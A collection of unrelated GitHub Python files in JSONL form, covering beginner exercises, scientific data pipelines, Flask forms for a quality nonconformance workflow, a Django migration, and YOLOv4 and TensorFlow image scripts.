+{"seq_id":"31271167181","text":"# List -- []\n# Set -- ()\n\n\n\n\n\n# a = \"Python\"\n# print(a[:3] + \"*\" + a [-3])\n# max -- Katta sonni topadi\n# min -- Kichik sonni topadi\n# len -- sanash uchun\n\n\n\n\n\n\n\n# a = [12, 23, 45, 56, 78]\n# for i in a: \n#     if i % 2 != 0:\n#         print(i)\n\n\n\n# a = [12, 23, 45, 56, 78]\n# for i in a:\n#     print(max(a))\n\n\n\nname = str(input(\"Ism: \"))\nsurname = str(input(\"Familiya: \"))\nage = int(input(\"Yosh: \"))\nnumber = int(input(\"Nomer: \"))\n\nname_2 = name.lower()\nsurname_2 = surname.lower()\n\nprint(f\"M I S T E R {name_2.capitalize()} {surname_2.capitalize()}, '\\n', {age}, '\\n', {number}\")","repo_name":"richkhandev/lesson_1","sub_path":"dars_8.py","file_name":"dars_8.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32503582681","text":"__all__ = (\"makePropertySet\",)\n\ntry:\n    import lsst.daf.base as dafBase\nexcept ImportError:\n    dafBase = None\n\n\ndef _helper(ps, prefix, dict_):\n    for k, v in dict_.items():\n        name = prefix + \".\" + k if prefix is not None else k\n        if isinstance(v, dict):\n            _helper(ps, name, v)\n        elif v is not None:\n            ps.set(name, v)\n\n\ndef makePropertySet(config):\n    \"\"\"Convert a configuration into a `lsst.daf.base.PropertySet`.\n\n    Parameters\n    ----------\n    config : `lsst.pex.config.Config`\n        Configuration instance.\n\n    Returns\n    -------\n    propertySet : `lsst.daf.base.PropertySet`\n        A `~lsst.daf.base.PropertySet` that is equivalent to the ``config``\n        instance. If ``config`` is `None` then this return value is also\n        `None`.\n\n    See Also\n    --------\n    lsst.daf.base.PropertySet\n    \"\"\"\n    if dafBase is None:\n        raise RuntimeError(\"lsst.daf.base is not available\")\n\n    if config is not None:\n        ps = dafBase.PropertySet()\n        _helper(ps, None, config.toDict())\n        return ps\n    else:\n        return None\n","repo_name":"lsst/pex_config","sub_path":"python/lsst/pex/config/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"793698599","text":"import numpy as np\n\nclass Error(Exception):\n    \"\"\"Base class for exceptions in this module.\"\"\"\n    pass\n\n\nclass Frame(object):\n\n    '''\n    Frame class to combine multiple packets into a single frame.\n    '''\n        \n    def __init__(self, num_channels, packet, index=None):\n        \n        self.num_channels = num_channels #number channels \n        self.frame_data = np.zeros((num_channels, 2048)) #frame payload\n        self.trace_received = np.zeros(num_channels) #flags for which packets are in frame\n        self.frame_number = 0 #Frame number from FPGA (i.e. frame timestamp 32 bit number)\n        #the timestamps for each packet\n        self.packet_timestamps = np.empty(num_channels, dtype=str)\n        #['' for string in xrange(num_channels)] \n        self.index = 0 #frame indexing number\n\n        self.comp_type = np.dtype([('index', 'int64'), \n                                   ('frame_number', 'uint32'),\n                                   ('packet_timestamps', '|S30', self.num_channels), \n                                   ('frame_data', 'int8', (self.num_channels, 2048))])\n\n\n    #if packet is not None:\n        self.frame_number = packet['timestamp']\n        self.frame_data[int(packet['antenna'])] = packet['timestream']\n        self.packet_timestamps[int(packet['antenna'])] = packet['comp_timestamp']\n        self.trace_received[int(packet['antenna'])] = 1\n    #if index is not None:\n        self.index = index\n    \n    def __str__(self):\n        '''\n        Create the string representation of a Frame object.\n        '''\n\n        printstr = \"Frame index: {0:d}\\n\".format(self.index)\n        printstr += \"Frame number: {0:X}\\n\".format(np.uint32(self.frame_number))\n        printstr += \"\\tTotal number traces: {0:d}\\n\".format(self.num_channels)\n        printstr += \"\\tTotal filled traces: {0:d}\\n\".format(int(np.sum(self.trace_received)))\n        trace_key = \"\"\n        for i in self.trace_received:\n            trace_key += str(int(i)) \n        printstr += \"\\tReceived traces: {0:s}\".format(trace_key)\n        return printstr\n        \n    def is_full(self):\n        '''\n        Check if a frame has been filled.\n        '''\n        return int(sum(self.trace_received)) == self.num_channels\n\n    def number_packets(self):\n        '''\n        Return the number of packets in a frame.\n        '''\n        return int(sum(self.trace_received))\n\n    def add_packet(self, packet):\n        '''\n        Add information in a packet to a frame.\n        '''\n\n        try:\n            if self.frame_number != packet['timestamp']:\n                raise Error('Mismatched timestamp on add_packet.')\n            else:\n                self.frame_data[int(packet['antenna'])] = packet['timestream']\n                self.packet_timestamps[int(packet['antenna'])] = packet['comp_timestamp']\n                self.trace_received[int(packet['antenna'])] = 1\n\n                return self.is_full()\n\n        except Error:\n            raise\n\n\n    def array(self):\n        '''\n        Return the compound structure array representation of the Frame object.\n\n        '''\n\n        return np.array([(self.index, \n                          self.frame_number, \n                          self.packet_timestamps, \n                          self.frame_data)], dtype=self.comp_type)\n        ","repo_name":"SeanCGriffin/suit-daq","sub_path":"frame.py","file_name":"frame.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21877719460","text":"\nimport luigi\nimport subprocess\nfrom os.path import join, dirname, basename\nfrom yaml import safe_load\nfrom shutil import rmtree\n\nfrom ..config import PipelineConfig\nfrom ..utils.conda import CondaPackage\nfrom ..utils.cap_task import CapTask\nfrom .map_to_human import RemoveHumanReads\n\n\nclass ErrorCorrectReads(CapTask):\n    module_description = \"\"\"\n    This module error corrects reads using BayesHammer.\n\n    Motivation: reads can contain base errors introduced\n    during sequencing. Running error correction reduces\n    the total number of errors. This can improve the\n    classification rate and decrease the misclassification\n    rate.\n\n    Negatives: error correction can remove SNPs present in\n    secondary strains, as such error corrected reads should\n    not be used to call SNPs.\n    \"\"\"\n    MODULE_VERSION = 'v0.2.2'\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.pkg = CondaPackage(\n            package=\"spades\",\n            executable=\"spades.py\",\n            channel=\"bioconda\",\n            config_filename=self.config_filename,\n        )\n        self.config = PipelineConfig(self.config_filename)\n        self.out_dir = self.config.out_dir\n        self.nonhuman_reads = RemoveHumanReads.from_cap_task(self)\n\n    def requires(self):\n        return self.pkg, self.nonhuman_reads\n\n    def tool_version(self):\n        return self.run_cmd(f'{self.pkg.bin} --version').stderr.decode('utf-8')\n\n    @classmethod\n    def dependencies(cls):\n        return [\"spades\", RemoveHumanReads]\n\n    @classmethod\n    def _module_name(cls):\n        return 'error_corrected_reads'\n\n    def output(self):\n        out = {\n            'error_corrected_reads_1': self.get_target('R1', 'fastq.gz'),\n        }\n        if self.paired:\n            out['error_corrected_reads_2'] = self.get_target('R2', 'fastq.gz')\n        return out\n\n    def _run(self):\n        if self.paired:\n            return self._run_paired()\n        return self._run_single()\n\n    def _run_single(self):\n        r1 = self.nonhuman_reads.output()['nonhuman_reads_1']\n        cmd = self.pkg.bin\n        cmd += f' --only-error-correction --meta -U {r1.path} '\n        outdir = f'{self.sample_name}.error_correction_out'\n        cmd += f' -t {self.cores} -o {outdir} '\n        if self.max_ram > 0:\n            cmd += f' -m {self.max_ram} '\n        self.run_cmd(cmd)  # runs error correction but leaves output in a dir\n        config_path = f'{self.sample_name}.error_correction_out/corrected/corrected.yaml'\n        spades_out = load(open(config_path).read())\n        ec_r1 = spades_out[0]['left reads']\n        assert len(ec_r1) == 1\n        paths = self.output()['error_corrected_reads_1']\n        cmd = f'mv {ec_r1[0]} {paths[0].path} '\n        self.run_cmd(cmd)\n        rmtree(outdir)\n\n    def _run_paired(self):\n        r1 = self.nonhuman_reads.output()['nonhuman_reads_1']\n        r2 = self.nonhuman_reads.output()['nonhuman_reads_2']\n        cmd = self.pkg.bin\n        cmd += f' --only-error-correction --meta -1 {r1.path} -2 {r2.path}'\n        outdir = f'{self.sample_name}.error_correction_out'\n        cmd += f' -t {self.cores} -o {outdir}'\n        self.run_cmd(cmd)  # runs error correction but leaves output in a dir\n        config_path = f'{self.sample_name}.error_correction_out/corrected/corrected.yaml'\n        spades_out = safe_load(open(config_path).read())\n        ec_r1 = spades_out[0]['left reads']\n        assert len(ec_r1) == 1\n        ec_r2 = spades_out[0]['right reads']\n        assert len(ec_r2) == 1\n        paths = self.output()['error_corrected_reads_1'], self.output()['error_corrected_reads_2']\n        cmd = f'mv {ec_r1[0]} {paths[0].path} && mv {ec_r2[0]} {paths[1].path}'\n        self.run_cmd(cmd)\n        rmtree(outdir)\n","repo_name":"MetaSUB/CAP2","sub_path":"cap2/pipeline/preprocessing/error_correct_reads.py","file_name":"error_correct_reads.py","file_ext":"py","file_size_in_byte":3763,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"}
+{"seq_id":"2017282684","text":"\"\"\"Intersect a single CSV file with multiple shapefiles.\"\"\"\n\nimport argparse\nimport os\nfrom random import randint\nfrom time import sleep\n\nfrom bison.common import BisonFiller\nfrom bison.common import get_logger\n\n# .............................................................................\ndef intersect_csv_and_shapefiles(in_csv_filename, geodata1, geodata2,\n                                 ancillary_path, out_csv_filename, from_gbif):\n    \"\"\"Intersect the records in the csv file with the two provided shapefiles.\n\n    Args:\n        csv_filename (str): Path to a CSV file of records.\n        shapefile_1_filename (str): Path to the first shapefile to check for\n            intersection.\n        shapefile_2_filename (str): Path to the second shapefile to check for\n            intersection.\n        out_csv_filename (str): Path for output CSV records.\n    \"\"\"\n    pth, basefname = os.path.split(out_csv_filename)\n    logbasename, _ = os.path.splitext(basefname)\n    logfname = os.path.join(pth, '{}.log'.format(logbasename))\n    logger = get_logger(logbasename, logfname)\n    bf = BisonFiller(log=logger)\n    # Pass 4 of CSV transform, final step, point-in-polygon intersection\n    bf.update_point_in_polygons(\n        geodata1, geodata2, ancillary_path, in_csv_filename, out_csv_filename,\n        from_gbif=from_gbif)\n    # Do intersection here\n    sleep(randint(0, 10))\n    print(' - {}'.format(out_csv_filename))\n\n\n# .............................................................................\ndef main():\n    \"\"\"Main method for script.\"\"\"\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        'csv_filename', type=str, help='Input record CSV file path.')\n    parser.add_argument(\n        'terrestrial_shapefile_path', type=str,\n        help='Terrestrial shapefile for intersection.')\n    parser.add_argument(\n        'marine_shapefile_path', type=str,\n        help='Marine shapefile for intersection.')\n    parser.add_argument(\n        'out_csv_path', type=str,\n        help='File path for output recordds CSV file.')\n    args = parser.parse_args()\n    intersect_csv_and_shapefiles(\n        args.csv_filename, args.terrestrial_shapefile_path,\n        args.marine_shapefile_path, args.out_csv_path)\n\n\n# .............................................................................\nif __name__ == '__main__':\n    main()\n","repo_name":"lifemapper/bison","sub_path":"obsolete/src/common/intersect_one.py","file_name":"intersect_one.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40982024299","text":"from django.conf import settings\nif settings.DATABASE_ENGINE == 'mysql':\n    from dmigrations.mysql import migrations as m\nelif settings.DATABASE_ENGINE == 'sqlite3':\n    from dmigrations.sqlite3 import migrations as m\n\nclass CustomMigration(m.Migration):\n    def __init__(self):\n        sql_up = [\n            'alter table trips_sighting change species_id species_id int(11) null;'\n        ]\n        sql_down = [\n            'alter table trips_sighting change species_id species_id int(11) not null;'\n        ]\n        super(CustomMigration, self).__init__(\n            sql_up=sql_up, sql_down=sql_down\n        )\n    # Or override the up() and down() methods\n\nmigration = CustomMigration()\n","repo_name":"devfort/wildlifenearyou","sub_path":"zoo/migrations/125_make_species_id_null_on_trips_sighting.py","file_name":"125_make_species_id_null_on_trips_sighting.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"28503273012","text":"from flask_wtf import FlaskForm\nfrom wtforms import (PasswordField, SelectMultipleField, StringField,\n                     SubmitField, SelectField, RadioField, TextAreaField, DateField, FileField, widgets, IntegerField)\nfrom wtforms.validators import DataRequired, Email, EqualTo, Length, Regexp\n\nfrom app.db_models import Role, User\n\nclass MultiCheckboxField(SelectMultipleField):\n    \"\"\"\n    A multiple-select, except displays a list of checkboxes.\n\n    Iterating the field will produce subfields, allowing custom rendering of\n    the enclosed checkbox fields.\n    \"\"\"\n    widget = widgets.ListWidget(prefix_label=False)\n    option_widget = widgets.CheckboxInput()\n\nclass RoleForm(FlaskForm):\n\tname = StringField(\"Nome: \", validators=[DataRequired()])\n\tsubmit = SubmitField(\"Salvar\")\n\nclass LoginForm(FlaskForm):\n\temail = StringField(\"Email\", validators=[DataRequired()])\n\tpassword = PasswordField(\"Senha\", validators=[DataRequired()])\n\tsubmit = SubmitField(\"Entrar\")\n\nclass RegisterForm(FlaskForm):\n    first_name = StringField(\"Nome:\", validators=[DataRequired(), Length(max=50)])\n    last_name = StringField(\"Sobrenome:\", validators=[DataRequired(), Length(max=50)])\n    phone = StringField(\"Telefone:\", validators=[DataRequired(), Length(max=30)])\n    email = StringField(\"Email:\", validators=[DataRequired(), Email()])\n    password = PasswordField(\"Senha:\", validators=[DataRequired(), Regexp(\"^[a-zA-Z0-9_\\-&$@#!%^*+.]{8,30}$\", message='A senha deve ter 8 caracteres e deve conter letras, números e símbolos.')])\n    confirm = PasswordField(\"Confirmar Senha:\",validators=[EqualTo('password', message='As senhas devem corresponder')])\n    roles = MultiCheckboxField(\"Funcão:\", coerce=int)\n    submit = SubmitField(\"Cadastrar\")\n    \n    def __init__(self, *args, **kwargs):\n            super().__init__(*args, **kwargs)\n            self.roles.choices = [(roles.id, roles.name) for roles in Role.query.all()]\n\nclass FaseOneForm(FlaskForm):\n    # Row 1\n    cod_planta = StringField(\"1 - Código Planta\", validators=[DataRequired(), Length(max=50)])\n    nome_cliente = StringField(\"2 - Nome Cliente\", validators=[DataRequired(), Length(max=50)])\n    segmento = StringField(\"3 - Segmento\", validators=[DataRequired(), Length(max=50)])\n    cod_peca = StringField(\"4 - Código da Peça\", validators=[DataRequired(), Length(max=50)])\n    descricao_peca = StringField(\"5 - Descrição da Peça\", validators=[DataRequired(), Length(max=50)])\n    linha = StringField(\"6 - Linha\", validators=[DataRequired(), Length(max=50)])\n    area = StringField(\"7 - Área\", validators=[DataRequired(), Length(max=50)])\n    # Row 2\n    procedencia = RadioField('8 - Procedência', choices=[('value','Externa Formal  '),('value_two','Externa Informal  '),('value_tree','Interno')])\n    doc_cliente = StringField(\"Documento Cliente\", validators=[DataRequired(), Length(max=50)])\n    # Row 3 \n    problema_reincidente = RadioField(\"9 - Problema Reincidente\", choices=[('value', 'Não  '), ('value_two', 'Sim  ')])\n    ha_devolucao = RadioField(\"10 - Houve Peça Devolvida\", choices=[('value', 'Não  '), ('value_two', 'Sim  ')])\n    qtd_devolucao = StringField(\"Quantidade devolvida\", validators=[DataRequired(), Length(max=50)])\n    # Row 4 \n    qual_rnc = TextAreaField(\"11 - Qual é a não conformidade?\", validators=[DataRequired(), Length(max=250)])\n    o_que = TextAreaField(\"12 - O que?\", validators=[DataRequired(), Length(max=250)])\n    quando = TextAreaField(\"13 - Quando?\", validators=[DataRequired(), Length(max=250)])\n    onde = TextAreaField(\"14 - Onde?\", validators=[DataRequired(), Length(max=250)])\n    quem = TextAreaField(\"15 - Quem?\", validators=[DataRequired(), Length(max=250)])\n    como = TextAreaField(\"16 - Como foi detectado?\", validators=[DataRequired(), Length(max=250)])\n    modo_de_falha = TextAreaField(\"17 - Modo de falha\", validators=[DataRequired(), Length(max=250)])\n    # Row 5 \n    gerar_tratativa = RadioField(\"18 - Gerar Tratativa?\", choices=[('value', 'Não  '), ('value_two', 'Sim  ')])\n    pq_nao_tratativa = StringField(\"Motivo\", validators=[DataRequired(), Length(max=250)])\n    pos_vendas = StringField(\"Pós Vendas\", validators=[DataRequired(), Length(max=50)])\n    #data_registro = DateField(\"Data\", format=\"%d-%m-%Y\")\n    visto = MultiCheckboxField(\"Visto\", choices=[('value','Aprovado')])\n    anexo = FileField(\"Anexo\")\n    salvar_1 = SubmitField(\"Salvar\")\n\nclass FaseTwoForm(FlaskForm):\n    ct = StringField(\"CT\", validators=[DataRequired(), Length(max=50)])\n    area = StringField(\"Área\", validators=[DataRequired(), Length(max=50)])\n    exame_objeto = TextAreaField(\"Examine o objeto\", validators=[DataRequired(), Length(max=250)])\n    fatos_e_dados = TextAreaField(\"Checar fatos e dados\", validators=[DataRequired(), Length(max=250)])\n    compare_com_teoria = TextAreaField(\"Compare com a teoria\", validators=[DataRequired(), Length(max=250)])\n    ha_padrao = RadioField(\"Há padrão dispinível?\", choices=[('sim', 'Sim'), ('nao', 'Não')])\n    qual_padrao = TextAreaField(\"Qual?\", validators=[Length(max=250)])\n    esta_sendo_seguido = RadioField(\"Está sendo seguido?\", choices=[('sim', 'Sim'), ('nao', 'Não')])\n    reclamacao_procedente = RadioField(\"Reclamação procedente?\", choices=[('sim', 'Sim'), ('nao', 'Não')])\n    rps = RadioField(\"Caso sim\", choices=[('value', '8D  '), ('value_two', 'Fast Kaizen')])\n    rpn = TextAreaField(\"Atualizar informação\", validators=[Length(max=250)])\n    bloquear_embarque = RadioField(\"Bloquear Embarque\", choices=[('sim', 'Sim'), ('nao', 'Não')])\n    msg_bloqueio = TextAreaField(\"Mensagem\", validators=[DataRequired(), Length(max=250)])\n    imagem_pos = FileField(\"Anexar Imagem Padrão\")\n    imagem_neg = FileField(\"Anexar Imagem Defeito\")\n    medidas_contencao = TextAreaField(\"Medidadas de contenção\", validators=[DataRequired(), Length(max=250)])\n    nome_coordenador = StringField(\"Nome\")\n    visto_2 = StringField(\"Visto\")\n    data_registro_2 = DateField(\"Data\", format=\"%d-%m-%Y\")\n    visto = MultiCheckboxField(\"Visto\", choices=[('value','Aprovado'), ('value2','Reprovado')])\n    anexo_2 = FileField(\"Anexo\")\n    salvar_2 = SubmitField(\"Salvar\")\n\nclass FaseTreeForm(FlaskForm):\n    qtd_inspecionada = IntegerField(\"Quantidade de inspecionadas?\", validators=[DataRequired()])\n    qtd_reprovadas = IntegerField(\"Quantidade de reprovadas?\", validators=[DataRequired()])\n    destino = RadioField(\"Destino\", choices=[('desvio', 'Desvio  '), ('sucateamento', 'Sucateamento')])\n    texto_destino = TextAreaField(\"Texto de destino\", validators=[DataRequired(), Length(max=250)])\n    equipe = MultiCheckboxField(\"3.3 - Definição da Equipe\", coerce=int)\n    coordenador_rnc = StringField('Coordenador da RNC')\n    data_registro_3 = DateField(\"Data\", format=\"%d-%m-%Y\")\n    anexo_3 = FileField(\"Anexo\") \n    salvar_3 = SubmitField(\"Salvar\")\n    \n    def __init__(self, *args, **kwargs):\n            super().__init__(*args, **kwargs)\n            self.equipe.choices = [(user.id, user.first_name) for user in User.query.all()]\n\nclass FaseFourForm(FlaskForm):\n    mao_de_obra = StringField('Mão de obra ou Pessoas')\n    medida = StringField('Medida')\n    maquina = StringField('Máquina ou Equipamento')\n    materiais = StringField('Materiais')\n    meio_ambiente = StringField('Meio Ambiente')\n    metodo = StringField('Método')   \n\n    what = StringField('What?')\n    why = StringField('Why?')\n    where = StringField('Where?')\n    when = StringField('When?')\n    who = StringField('Who?')\n    how_much = StringField('How much?')\n\n    auditoria_escalonada = RadioField(\"É necessário realizar Auditoria Escalonada?\", choices=[('nao', 'Não'), ('sim', 'Sim')])\n    numero_auditorias = StringField('Numero')\n\n    linha = SelectField(\"Qual a linha geradora da não conformidade?\", coerce=str)\n    \n    causa_um = TextAreaField(\"1\", validators=[DataRequired(), Length(max=250)])\n    causa_dois = TextAreaField(\"2\", validators=[DataRequired(), Length(max=250)])\n    causa_tres = TextAreaField(\"3\", validators=[DataRequired(), Length(max=250)])\n\n    coordenador_rnc = StringField('Coordenador da RNC')\n    data_registro_4 = DateField(\"Data\", format=\"%d-%m-%Y\")\n    visto_4 = MultiCheckboxField(\"Visto\", choices=[('aprovado','Aprovado'), ('reprovado','Reprovado')])\n    anexo_4 = FileField(\"Anexo\") \n\n    salvar_4 = SubmitField(\"Salvar\") \n\n    def __init__(self, *args, **kwargs):\n            super().__init__(*args, **kwargs)\n            self.linha.choices = [\"Agricola\", \"Média\", \"Pesada\"]\n\nclass FaseFiveForm(FlaskForm):\n    observacao = TextAreaField(\"5.2 - Observação\", validators=[DataRequired(), Length(max=250)])\n\n    coordenador_rnc = StringField('Coordenador da RNC')\n    data_registro_5 = DateField(\"Data\", format=\"%d-%m-%Y\")\n    visto_5 = MultiCheckboxField(\"Visto\", choices=[('aprovado','Aprovado'), ('reprovado','Reprovado')])\n    anexo_5 = FileField(\"Anexo\") \n\n    salvar_5 = SubmitField(\"Salvar\") \n\nclass FaseSixForm(FlaskForm):\n    acoes_corretivas = RadioField(\"6.1 - Ações corretivas foram eficazes?\", choices=[('sim', 'Sim  '), ('nao', 'Não')])\n    devolver_para_fase = SelectField(\"Devolver para a Fase\", coerce=int)\n    porque_devolver = TextAreaField(\"Porque?\", validators=[DataRequired(), Length(max=250)])\n    metodo_de_validacao = RadioField(\"6.2 - Método de Validação?\", choices=[('poka_yoke', 'Poka Yoke'), ('3_lotes', '3 Lotes'), ('30_dias', '30 Dias')])\n    anexo_evidencia = FileField(\"Anexar Evidência\") \n    anexo_pv1 = FileField(\"Anexar PV1\") \n\n    pos_vendas = StringField('Pos Vendas')\n    data_registro_6 = DateField(\"Data\", format=\"%d-%m-%Y\")\n    visto_6 = MultiCheckboxField(\"Visto\", choices=[('aprovado','Aprovado'), ('reprovado','Reprovado')])\n    anexo_6 = FileField(\"Anexo\") \n\n    salvar_6 = SubmitField(\"Salvar\") \n\n\n    def __init__(self, *args, **kwargs):\n            super().__init__(*args, **kwargs)\n            self.devolver_para_fase.choices = [ 1, 2, 3, 4, 5]\n\nclass FaseSevenForm(FlaskForm):\n    revisao_fmea = RadioField(\"7.1 - Revisado FMEA/Plano de Controle\", choices=[('sim', 'Sim  '), ('nao', 'Não')])\n    porque_revisao_fmea = TextAreaField(\"Porque?\", validators=[DataRequired(), Length(max=250)])\n\n    codigos_similares = RadioField(\"7.2 - Abrange Códigos Similares?\", choices=[('sim', 'Sim  '), ('nao', 'Não')])\n    quais = StringField('Quais?')\n\n    eng_processos = StringField('Engenharia de Processos')\n    data_registro_7 = DateField(\"Data\", format=\"%d-%m-%Y\")\n    visto_7 = MultiCheckboxField(\"Visto\", choices=[('aprovado','Aprovado'), ('reprovado','Reprovado')])\n    anexo_7 = FileField(\"Anexo\") \n\n    salvar_7 = SubmitField(\"Salvar\") \n\nclass FaseEigthForm(FlaskForm):\n    custos = StringField('8.1 - Custos R$')\n\n    site_cliente_atualizado = RadioField(\"Foi Atualizdo o Site do Cliente?\", choices=[('sim', 'Sim  '), ('nao', 'Não')])\n    porque_nao = StringField('')\n\n    pos_vendas = StringField('Pos Vendas')\n    data_registro_8 = DateField(\"Data\", format=\"%d-%m-%Y\")\n    visto_8 = MultiCheckboxField(\"Visto\", choices=[('aprovado','Aprovado'), ('reprovado','Reprovado')])\n    anexo_8 = FileField(\"Anexo\") \n\n    salvar_8 = SubmitField(\"Salvar\") ","repo_name":"joellpaim/rnc-system","sub_path":"app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":11109,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"34190075421","text":"import tensorflow as tf\nimport numpy as np\nfrom PIL import Image\nfrom ThinPlateSpline2 import ThinPlateSpline2 as stn\n\nimg = np.array(Image.open(\"original.png\"))\nout_size = list(img.shape)\nshape = [1]+out_size+[1]\n\ns_ = np.array([ # source position\n  [-0.5, -0.5],\n  [0.5, -0.5],\n  [-0.5, 0.5],\n  [0.5, 0.5]])\n\nt_ = np.array([ # target position\n  [-0.3, -0.3],\n  [0.3, -0.3],\n  [-0.3, 0.3],\n  [0.3, 0.3]])\n\ns = tf.constant(s_.reshape([1, 4, 2]), dtype=tf.float32)\nt = tf.constant(t_.reshape([1, 4, 2]), dtype=tf.float32)\nt_img = tf.constant(img.reshape(shape), dtype=tf.float32)\nt_img = stn(t_img, s, t, out_size)\n\nwith tf.Session() as sess:\n  sess.run(tf.global_variables_initializer())\n  img1 = sess.run(t_img)\n  Image.fromarray(np.uint8(img1.reshape(out_size))).save(\"transformed2.png\")\n","repo_name":"iwyoo/tf_ThinPlateSpline","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"3"}
+{"seq_id":"39502421994","text":"import cv2\r\nimport numpy as np\r\n\r\n# Load model YOLOv4\r\nnet = cv2.dnn.readNet(\"yolov4.weights\", \"yolov4.cfg\")\r\n\r\n# List các tên lớp\r\nclasses = []\r\nwith open(\"coco.names\", \"r\") as f:\r\n    classes = [line.strip() for line in f.readlines()]\r\n\r\n# Đọc ảnh từ file\r\nimg = cv2.imread(\"example2.jpg\")\r\n\r\n# Lấy kích thước ảnh\r\nheight, width, _ = img.shape\r\n\r\n# Tạo input blob từ ảnh\r\nblob = cv2.dnn.blobFromImage(img, 1 / 255.0, (416, 416), swapRB=True, crop=False)\r\n\r\n# Đưa input blob vào mô hình\r\nnet.setInput(blob)\r\n\r\n# Chạy forward pass và lấy output\r\nlayer_names = net.getLayerNames()\r\noutput_layers = [layer_names[i - 1] for i in net.getUnconnectedOutLayers()]\r\noutputs = net.forward(output_layers)\r\n\r\n# Tính toán các thông tin về bounding box và confidence\r\nboxes = []\r\nconfidences = []\r\nclass_ids = []\r\nfor output in outputs:\r\n    for detection in output:\r\n        scores = detection[5:]\r\n        class_id = np.argmax(scores)\r\n        confidence = scores[class_id]\r\n        if confidence > 0.5:\r\n            center_x = int(detection[0] * width)\r\n            center_y = int(detection[1] * height)\r\n            w = int(detection[2] * width)\r\n            h = int(detection[3] * height)\r\n            x = int(center_x - w / 2)\r\n            y = int(center_y - h / 2)\r\n            boxes.append([x, y, w, h])\r\n            confidences.append(float(confidence))\r\n            class_ids.append(class_id)\r\n\r\n# Áp dụng non-maximum suppression để loại bỏ các bounding box trùng lặp\r\nindices = cv2.dnn.NMSBoxes(boxes, confidences, 0.5, 0.4)\r\n\r\n# Vẽ bounding box lên ảnh\r\nfor i in indices.flatten():\r\n    x, y, w, h = boxes[i]\r\n    label = classes[class_ids[i]]\r\n    confidence = confidences[i]\r\n    color = (0, 255, 0)\r\n    cv2.rectangle(img, (x, y), (x + w, y + h), color, 2)\r\n    cv2.putText(img, f\"{label}: {confidence:.2f}\", (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, 0.5, color, 2)\r\n\r\n# Hiển thị ảnh kết quả\r\ncv2.imshow(\"YOLOv4\", img)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"Darkness779/yolov4","sub_path":"yolov4.py","file_name":"yolov4.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22420443265","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.next = None\n\nclass Solution:\n    def reorderList(self, head: ListNode) -> None:\n        \"\"\"\n        Do not return anything, modify head in-place instead.\n        \"\"\"\n        dictn = dict()\n        idx = 0\n        temp = head\n        while temp:\n            dictn[idx] = temp\n            idx += 1\n            temp = temp.next\n        count = idx-1\n        if count <= 1:\n            return head\n        node = head        \n        while node.next and node.next != dictn[count]:\n            temp = node.next\n            dictn[count-1].next = None\n            node.next = dictn[count]            \n            dictn[count].next = temp\n            node = temp\n            count -= 1\n","repo_name":"abhinay-b/Leetcode-Submissions","sub_path":"accepted_codes/Reorder_List/Reorder List_289486874.py","file_name":"Reorder List_289486874.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"19382494452","text":"# coding: utf-8\n# @Author : lryself\n# @Date : 2022/7/1 21:58\n# @Software: PyCharm\n\ns = input()\nn = len(s)\nword_pos = {}\npos_sign = []\npos_word = []\nfor index, i in enumerate(s):\n    if \"a\" <= i <= \"z\" or \"A\" <= i <= \"Z\":\n        c = i.lower()\n        if c not in word_pos:\n            word_pos[c] = []\n        word_pos[c].append(index)\nkeys = list(word_pos.keys())\nkeys.sort()\nfor i in keys:\n    pos_word.extend(word_pos[i])\nindex = 0\nfor i in s:\n    if \"a\" <= i <= \"z\" or \"A\" <= i <= \"Z\":\n        print(s[pos_word[index]], end=\"\")\n        index += 1\n    else:\n        print(i, end=\"\")\n","repo_name":"lryself/python_learning","sub_path":"nowcoder/HJ26 字符串排序.py","file_name":"HJ26 字符串排序.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
